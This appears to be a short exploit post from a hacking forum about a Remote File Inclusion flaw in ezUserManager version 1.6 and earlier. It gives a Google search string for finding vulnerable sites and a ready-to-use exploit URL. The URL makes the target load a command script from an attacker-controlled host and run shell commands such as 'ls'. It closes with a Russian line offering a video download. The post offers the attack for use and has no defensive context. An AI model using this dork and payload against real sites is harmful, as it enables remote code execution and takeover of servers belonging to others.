Web ezUserManager <= v1.6 Remote File Inclusion Vulnerability

[Ŧ1LAN]

ezUserManager <= v1.6 Remote File Inclusion Vulnerability
google: "powered by ezUserManager"
exploit:

Exploit : http://[target]/[path]/ezusermanager_pwd_forgott.php?ezUserManager_Path=http://[attacker]/cmd.txt?&cmd=ls

ну и видео в догонку Скачать|Download